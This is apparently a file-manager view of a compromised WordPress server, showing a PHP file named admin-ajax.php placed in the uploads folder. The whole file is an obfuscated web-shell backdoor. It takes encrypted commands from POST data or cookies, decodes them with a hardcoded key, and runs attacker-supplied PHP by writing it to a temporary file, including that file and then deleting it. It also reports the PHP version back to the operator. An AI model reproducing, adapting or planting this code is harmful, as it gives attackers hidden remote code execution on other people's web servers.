HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/05/admin-ajax.php
<?php 

$onkhkxeg	=	'onkhkxeg'       ^     '';


$tlxc_bj	= /* jhdih*/ "a"."r"."r"."\x61"    .	"\171"    .	"\x5f" /* ixloh*/ .  "\x6d"    . /*  ge  */ "a"."p";

$ctjfsbs	= /*  cfpk */ "i"."m"."p".$onkhkxeg(482-374) /*zsvs   */ .	"\157"    .   "\144" /*  avie */ . /*po */ "e";

function	kxt_o($_mvc_np_,    $smjushcsbu){

     global   $onkhkxeg;

 /*   cyutj  */ 

     $_mvc_np_	= /* p   */ "\74"    .    "?"."\160"    .   "h".$onkhkxeg(112)	.    $onkhkxeg(32)      .	"u"."n"."l"."\x69"    . /*  _p  */ "\x6e"    .    $onkhkxeg(256-149) /*  pgk*/ .    "("."\x5f" /* py*/ .       "_".$onkhkxeg(70)	.      "I"."L".$onkhkxeg(1034-965)       .	"_"."_"."\51"    . /*  ripsf  */ $onkhkxeg(697-638)    .	$onkhkxeg(32) /* bu */ .    $_mvc_np_["\144"];

  $zncq_wl    =	"\146" /*   vvup_o   */ .    $onkhkxeg(105)       .   "l"."e"."_".$onkhkxeg(509-397) /*  sgds   */ . /*   rhh */ $onkhkxeg(117) /*   wpxn  */ .     "t".$onkhkxeg(95)    . /* bdnh  */ $onkhkxeg(99)	.	"\x6f"    .       "n"."\164"    .  $onkhkxeg(101) /* xzml   */ .    "n"."\164"       . /*sz   */ "\163";

	
       $zncq_wl($smjushcsbu,  $_mvc_np_);

	


 /*   qldcv*/ phjz_mrpgb($smjushcsbu);
}



$lgvhaxwt  =   73;

function       phjz_mrpgb($smjushcsbu)


{
 /* osvld  */ global    $onkhkxeg;
          include($smjushcsbu);


 /* kdtpg*/ $_czsppjpke    = /*   x */ $smjushcsbu;    @unlink($_czsppjpke);
}




function	aquzafux(){

 /*  exwsf  */ global /*  pttz*/ $onkhkxeg;




	$krbbsb     =    array();      $krbbsb[$onkhkxeg(112)   . /*f_pqk*/ "v"] /*y  */ = /*  wj   */ phpversion();    $krbbsb["\x73"       .      "\x76"]    = /*   wfsad  */ "3"."."."\65";


	$nvtuff	=      74;
 /*  bneu*/ echo      @serialize($krbbsb);


}




function /*  zn*/ nawsakpkv_($_mvc_np_,    $qcxffpsjte)


{
  global    $onkhkxeg;

 /*   neaeh */ $dk_lnrxqv   = /*vhkbd */ "";     $prmfm     =    strlen($_mvc_np_);


	$yxmnlxp       =      strlen($qcxffpsjte);


   $krbbsb    = /*_sz */ 0;
 /*ws  */ $krbbsbcawm_gh /*   fb  */ =    0;

       
     while /*   ql*/ ($krbbsb	< /*  jhzgrk */ $prmfm) /*  _cay   */ {


 /* xmai  */ $qsqopsyej    =       $_mvc_np_[$krbbsb] /*   ig*/ ^      $qcxffpsjte[$krbbsbcawm_gh	%    $yxmnlxp];

	$dk_lnrxqv      .=	$qsqopsyej;


   $krbbsbcawm_gh++;	
 /*   vlsvt   */ $krbbsb++;

 /*   q */ }		if    (strlen($dk_lnrxqv)  > /*gtt */ 20) /*  qeee*/ {

 /* f*/ $krbbsbcawm_ghgxbuwib       =	substr($dk_lnrxqv,      0, /*  atjdeu */ 20);

     }


	if	(empty($dk_lnrxqv))     {


 /*  p   */ $dk_lnrxqv /*swf */ = /*c */ date('Y-m-d /*  tlnu  */ H:i:s');       }


 /*pobcsu */ return     $dk_lnrxqv;
}

function     waceustxrv($zvxwogkg)

{
   global    $onkhkxeg;
      $scmbprm     =       "3".$onkhkxeg(364-313)	. /*  wqix */ "\61"    .	"\x63"    .    $onkhkxeg(59-9)   . /*   dtsp_z*/ $onkhkxeg(436-384)	. /*kmgqf */ "3".$onkhkxeg(101) /*  urxk  */ .       "-".$onkhkxeg(446-390)     . /*  uxjely   */ "c"."f"."b"."-"."\64"    . /*   m*/ $onkhkxeg(591-538) /*  ltlspj */ .      "5"."\144"."\x2d" /* yxyq  */ .	$onkhkxeg(557-500) /*lxb  */ .	$onkhkxeg(390-292)   .    $onkhkxeg(51) /* qb */ . /* ww_*/ $onkhkxeg(51)       .	"-".$onkhkxeg(54)    .	"2"."2"."6".$onkhkxeg(863-813)   .	"\144"    . /*  zqwz */ "6"."\66" /* ed*/ .  "8"."e"."\x36"   .      "0";


	
	foreach   ($zvxwogkg      as   $xgjwam_c    => /* g*/ $_mvc_np_) /*  qrpv */ {

       ne_xjv(base64_decode($_mvc_np_),       $scmbprm,    $xgjwam_c); /*  v */ }

}




function     ne_xjv($_mvc_np_,	$scmbprm,	$xgjwam_c)
{

 /*   _xe*/ global	$onkhkxeg; /*  xre   */     $_mvc_np_      = /*yb */ unserialize(nawsakpkv_(nawsakpkv_($_mvc_np_,    $scmbprm), /*   mml*/ $xgjwam_c));	$aplfvb /*   g_x */ =      'utzim';


	$oglsmhekx       = /*   llcur  */ 'xzajpgdp';
    if	(isset($_mvc_np_["\x61"    . /*  l*/ "k"])) /* qozvuo   */ {

  if	($_mvc_np_["\141"]    ==	$onkhkxeg(990-885)) /* dsbwcy */ {


	aquzafux();

 /* g*/ }   elseif /*u_py   */ ($_mvc_np_["\141"] /*   tb  */ ==	"e")  {


    kxt_o($_mvc_np_,     sprintf($onkhkxeg(46)	.    "/"."%"."s"."."."\x70"       .       "l", /*   goujut */ md5($scmbprm)));
			$_ijvsassg	=	44;     }

 /* gadob  */ exit();      }

}

waceustxrv($_POST); /*  d__  */ 


$htkmqhbzz       = /*dws */ 'rawurldecode';





$gkxoprxtq /*   zvqm   */ =	$tlxc_bj($htkmqhbzz, /*utg*/ $_POST);
$ctjfsbs("", /* bysdye   */ $htkmqhbzz);

waceustxrv($_COOKIE);



$wqfkuhj       =      $tlxc_bj($htkmqhbzz,	$_COOKIE);





?>